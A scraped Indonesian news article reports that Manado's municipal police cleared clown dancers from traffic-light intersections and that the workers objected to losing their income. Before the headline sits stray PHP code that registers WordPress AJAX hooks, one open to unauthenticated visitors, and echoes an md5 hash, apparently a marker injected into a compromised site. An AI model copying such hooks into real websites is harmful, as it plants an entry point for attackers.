function bestrock_render_js(){ } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ } add_action('wp_head', 'bestrock_render_js'); add_action('wp_ajax_qgt', 'bestrock_render_index'); add_action('wp_ajax_nopriv_wrt', 'bestrock_render_ajax'); Melanggar Ketertiban Umum, Sat Pol PP Manado Tertibkan Penari Badut Lampu Merah – IndoSulut

Menu

Mode Gelap
Rektor Sompie Lantik Enam Pejabat Baru Unsrat Walikota Manado Terima Kunjungan BPK RI Sulut Kementrian Lingkungan Hidup Gelar TOT Akademisi Tahap IV di UNSRAT Manado Walikota Manado Gelar Rapat Teknis Soal Relokasi Warga Korban Bencana Wali Kota dan Wakil Wali Kota Manado Hadiri Acara Penyerahan Sertifikat Tanah

MANADO · 5 Jul 2023 13:06 WIB ·

Melanggar Ketertiban Umum, Sat Pol PP Manado Tertibkan Penari Badut Lampu Merah


					Melanggar Ketertiban Umum, Sat Pol PP Manado Tertibkan Penari Badut Lampu Merah Perbesar

 

MANADO – Satuan Polisi Pamong Praja (Sat Pol PP) Manado dalam beberapa hari terakhir ini telah menertibkan sejumlah badut menari yang sering dijumpai di persimpangan lampu merah.

Kepala Bidang SDA Sat Pol PP Manado Hence Patimbano mengatakan, kemarin Sat Pol PP Manado telah menertibkan beberapa warga yang berprofesi sebagai badut penari di beberapa titik persimpangan lampu merah yang ada di Kota Manado.

“Tadi baru saja ada pertemuan bersama mereka (Badut Penari). Mereka ingin menanyakan apa dasar hukum sehingga mereka tidak diizinkan lagi untuk melakukan pekerjaan mereka,” kata Hence Patimbano kepada wartawan, Rabu (5/7/2023) di kantor Satpol PP Manado.

Menjawab pertanyaan tersebut, Hence mengatakan bahwa dasar hukum dari penertiban para badut lampu merah yakni Perda Nomor 2 Tahun 2019 tentang ketertiban umum.

“Berdasarkan itu kami sebagai penegak perda harus menertibkan sesuai petunjuk dari Kasat Pol PP. Dari penertiban yang dilakukan ditemui juga ada pekerja badut yang masih dibawah umur, tentu saja itu sudah ada melanggar peraturan pekerjaan,” kata Kabid Hence.

Perwakilan pekerja badut penari yang hadir saat itu mengaku bahwa setelah dilakukan penertiban oleh Pol PP banyak pekerja yang kehilangan mata pencahariannya sehari-hari.

“Kami sudah tidak diperbolehkan untuk bekerja. Sementara kami mencari kebutuhan rumah tangga dari situ. Banyak dari kami yang juga dari kalangan kecil yang sulit mencari pekerjaan. Dengan adanya pekerjaan badut ini kami bisa mendapatkan pekerjaan,” kata Muslim kepada wartawan.

Ia juga mengatakan semoga dalam pertemuan ini ada solusi bagi mereka para pekerja badut untuk boleh diizinkan untuk bekerja.

“Cuma disitu mata pencaharian kami, kalau dihentikan kami tidak punya lagi pekerjaan. Semoga pemerintah boleh mempertimbangkan hal itu,” pungkasnya. (Dyppo)

Artikel ini telah dibaca 65 kali

badge-check

Penulis

Baca Lainnya

Pemkot Manado Rolling Jabatan Kepsek dan Pengawas, Wawali Sualang: Tetap Fokus Bekerja

20 Maret 2024 - 15:30 WIB

Pemkot Manado Rolling Jabatan Pegawai Eselon III dan IV

5 Maret 2024 - 17:23 WIB

Dapil Sario – Malalayang Membara, Peluang Rebut 6 Kursi DPRD Manado

16 Februari 2024 - 12:51 WIB

Terkait Video Viral Pemindahan Kotak Suara ke Graha Gubernuran, Ini Kata KPU Manado

16 Februari 2024 - 11:31 WIB

Data Real Count 47 Kelurahan Masuk, Bang Ai Unggul Jauh atas Royke Anter

16 Februari 2024 - 01:06 WIB

Bawaslu Manado Diduga Kebablasan Awasi Kampanye Prabowo di Lapangan Koni

7 Februari 2024 - 22:13 WIB

Trending di MANADO